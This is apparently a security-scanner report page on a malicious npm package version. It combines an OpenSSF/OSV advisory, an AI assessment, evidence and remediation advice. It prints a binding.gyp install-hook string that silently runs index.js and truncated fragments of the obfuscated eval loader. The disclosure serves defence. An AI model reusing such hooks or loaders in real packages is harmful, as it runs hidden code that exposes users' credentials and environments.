event-emitter-testmetest@1.0.6
OpenSSF/OSV Malicious Advisory
imported 23h ago · by OpenSSF/OSVOpenSSF/OSV advisory MAL-2026-18178 confirms this npm version as malicious.
Advisory
MAL-2026-18178
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in event-emitter-testmetest (npm)
Details
event-emitter-testmetest was published by npm account `testnewtestme2` on 2026-10-21, first to test the delivery chain of data-pipeline-testmetest 2.0.1 and then to ship it. 1.0.6 and 1.0.7 ship an obfuscated `index.js` loader that decrypts a filler stage and pipes it into Bun with the full environment: 1.0.6 runs it on load, 1.0.7 on `npm install` via a `binding.gyp` source `<!(env node index.js >/dev/null 2>&1; echo stub.c)`. 4.1.0 and 5.0.0 ship rebuilds of the full stealer behind the same `binding.gyp` hook: inline in `index.js` in 4.1.0, and in an encrypted `data.bin` that `index.js` decrypts in 5.0.0. Other versions carry no executable payload.
References
Independent LPM AI assessment
SuspiciousIndependent AI assessment: suspicious. LPM AI assessed this version as suspicious; the assessments disagree.
Importing the package triggers obfuscated code that decrypts and executes hidden payloads, creating a dangerous capability. The inspected source does not establish a specific attack behavior, so a warning is appropriate.
Static reason
No blocking static signals were detected.
Trigger
Importing the package through its index.js entrypoint.
Impact
The hidden code can perform local actions, but its concrete effects are unresolved from the inspected source.
Mechanism
The entrypoint decodes an embedded program; that program decrypts AES-GCM payloads, evaluates code, and launches a child process.
AI rationale
Importing the package triggers obfuscated code that decrypts and executes hidden payloads, creating a dangerous capability. The inspected source does not establish a specific attack behavior, so a warning is appropriate.
Evidence
index.js
Independent scan evidence
public snapshotAI called this Suspicious at 91.0% confidence as Dangerous Capability with medium false-positive risk.
Evidence for AI warning decision
- The manifest points package imports to index.js and declares no lifecycle script.
- Importing index.js immediately evaluates code decoded from a large numeric array.
- Static decoding reveals AES-GCM payload decryption followed by dynamic evaluation and child-process launch; the encrypted payload's behavior remains unresolved.
Evidence against
- The inspected source does not establish a specific network recipient, credential transfer, or destructive action.
- The manifest contains no install lifecycle hook.
Behavioral surface
Eval
MinifiedTrivial
NoLicense
Source & flagged code
6 flagged · loading sourceindex.jsView file
1(function(){var _r=0,_s=1,_t=2;try{eval((function(d,k){return d.replace(/[a-zA-Z]/g,function(v){var o=v<="Z"?65:97;return String.fromCharCode((v.charCodeAt(0)-o+k)%26+o)})})([40,104,122,102,117,106,40,41,61,62,123,97,121,102,123,10,106,118,
High
Ai Review Evidence
Importing index.js immediately evaluates code decoded from a large numeric array.
index.jsView on unpkg · L11,95,121,46,122,97,107,112,117,46,100,121,112,97,108,40,95,119,41,59,104,100,104,112,97,32,95,121,46,122,97,107,112,117,46,109,115,98,122,111,40,41,59,95,121,46,122,97,107,112,117,46,108,117,107,40,41,10,32,32,32,32,104,100,104,112,97,32,95,121,46,108,101,112,97,108,107,10,32,32,125,108,115,122,108,123,10,32,32,32,32,104,100,104,112,97,40,48,44,108,99,104,115,41,40,95,105,41,59,10,32,32,32,32,106,118,117,122,97,32,95,
High
Ai Review Evidence
Static decoding reveals AES-GCM payload decryption followed by dynamic evaluation and child-process launch; the encrypted payload's behavior remains unresolved.
index.jsView on unpkg · L11106,118,117,122,97,32,95,106,119,61,104,100,104,112,97,32,112,116,119,118,121,97,40,34,117,118,107,108,58,106,111,112,115,107,95,119,121,118,106,108,122,122,34,41,10,32,32,112,109,40,97,102,119,108,118,109,32,73,98,117,3
High
Findings
5 High2 Low
HighSuspicious Lifecycle Evidencepackage.json
HighAi Review Evidenceindex.js
HighAi Review Evidenceindex.js
HighAi Review Evidenceindex.js
HighAi Review Evidenceindex.js
LowEvalindex.js
LowNo License
Affected versions and remediation
This report applies to event-emitter-testmetest@1.0.6.
See all versions of event-emitter-testmetest for other recorded verdicts.
- Avoid installing event-emitter-testmetest@1.0.6. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.